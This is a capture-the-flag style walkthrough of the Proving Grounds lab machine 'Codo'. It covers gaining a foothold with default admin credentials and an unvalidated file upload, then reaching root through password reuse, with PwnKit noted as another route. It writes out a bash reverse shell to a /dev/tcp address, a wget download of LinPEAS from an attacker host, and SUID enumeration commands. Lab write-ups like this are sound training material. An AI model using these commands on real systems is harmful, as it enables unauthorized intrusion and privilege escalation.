Codo – OSCP Proving Grounds
In this walkthrough, I document my full approach to the Proving Grounds machine Codo. This box offers a realistic OSCP-style challenge with a web-based foothold.
Codo | Linux
Difficulty: Easy–Medium
Tags: web, file upload, privesc, creds reuse
Tools Used: Nmap, Gobuster, Searchsploit, Netcat, LinPEAS
This box is a textbook reminder that the classics still work—default creds, upload vulns, and password reuse. You’ll land a shell through a misconfigured logo uploader and finish it off with either a known PwnKit vuln or a reused root password. Codo is short, surgical, and deadly in the right hands.
Initial Enumeration
Step 1: Reconnaissance & Enumeration
First, we go wide with Nmap to surface open services and version info:
nmap -sC -sV --open 192.168.204.23
Scan results returned:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
SSH is up, but without creds, it’s a dead end for now. Port 80 is the next logical step—Apache web server on default HTTP.
Step 2: Web Enumeration
We unleash Gobuster to dig into the web server’s file structure:
gobuster dir -u http://192.168.204.23 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
Results gave us:
/admin – Login panel
/uploads – 403 Forbidden
/css – Accessible static assets
/admin
gives us an actual login interface, /uploads
returns 403, but the status code suggests the directory exists and has some function—probably a file repo that’s restricted unless you're authenticated.
Step 3: Gaining a Foothold
Admin Panel Login
Never underestimate the power of laziness.
Tried:
Username: admin
Password: admin
Boom—logged in.
Default credentials are not just a “quick check.” They are one of the most common real-world weaknesses—especially in internal or staging apps that devs assume won’t be hit.
Abusing the Upload Mechanism
Once inside the admin panel, we poked around and landed in Global Settings, which included a logo uploader.
A Searchsploit
query pointed toward a vuln:
searchsploit Codo
Found a reference to an arbitrary file upload flaw. The exploit script itself was broken, but the description was enough: the upload feature doesn’t validate file content, just the extension.
That’s all we needed.
Uploaded a reverse shell disguised as an image or PHP file. Then triggered it from the browser.
Reverse Shell Setup
On our end:
nc -lvnp 4444
Payload uploaded:
bash -c 'bash -i >& /dev/tcp/192.168.50.155/4444 0>&1'
After triggering the file via URL, the shell connected as:
www-data
We’re in.
Step 4: Privilege Escalation
Check for SUID Binaries
Quick SUID scan:
find / -perm -4000 -type f 2>/dev/null
Interesting finds:
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/su
pkexec
stands out. It’s associated with CVE-2021-4034, aka PwnKit, which allows privilege escalation via a local exploit—even without user credentials.
Check the version:
pkexec --version
Output:
pkexec version 0.105
Vulnerable.
No Compiler? No Problem.
Unfortunately, no compiler on the box to build a PwnKit exploit. That’s where enumeration comes in.
Enter: LinPEAS
Dropped LinPEAS on the target:
wget http://<attacker-ip>/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Output showed:
Hardcoded credentials for a user named
offsec
.
Tried switching user:
su offsec
Password worked. From there, tested the same creds for root:
su root
And just like that—root.
This is why you always test discovered passwords across other local users. Password reuse is one of the easiest privilege escalation vectors and still common in real-world networks.
Step 5: Capture the Flag
With root access:
find / -name proof.txt 2>/dev/null
Found it:
cat /home/admin/proof.txt
Flag captured.
Command Recap
nmap -sC -sV --open 192.168.204.23
gobuster dir -u http://192.168.204.23 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
Login to /admin (admin:admin)
Upload reverse shell via Global Settings
nc -lvnp 4444
find / -perm -4000 -type f 2>/dev/null
pkexec --version
wget http://<attacker-ip>/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
su offsec
su root
cat /home/admin/proof.txt
Summary / Review
Codo rewards the fundamentals.
No zero-days. No rabbit holes. Just careful enumeration and good instincts.
We started by mapping open ports, quickly homed in on the admin panel, and snagged access with default creds. From there, we turned a misconfigured upload field into code execution. The escalation options were wide: PwnKit was there, but password reuse was faster.
Big Picture Takeaways:
Default creds are still devastating.
File uploads remain one of the riskiest features in any web app.
PwnKit isn’t going away. Know the versions.
LinPEAS isn’t optional—run it on every shell.
Found a user password? Try
su root
. Always.
Final Thoughts
Default creds, lazy devs, and a forgotten uploader.
Codo crumbled like stale PHP.
One shell, one reused password, one root flag.
Another one rooted. On to the next.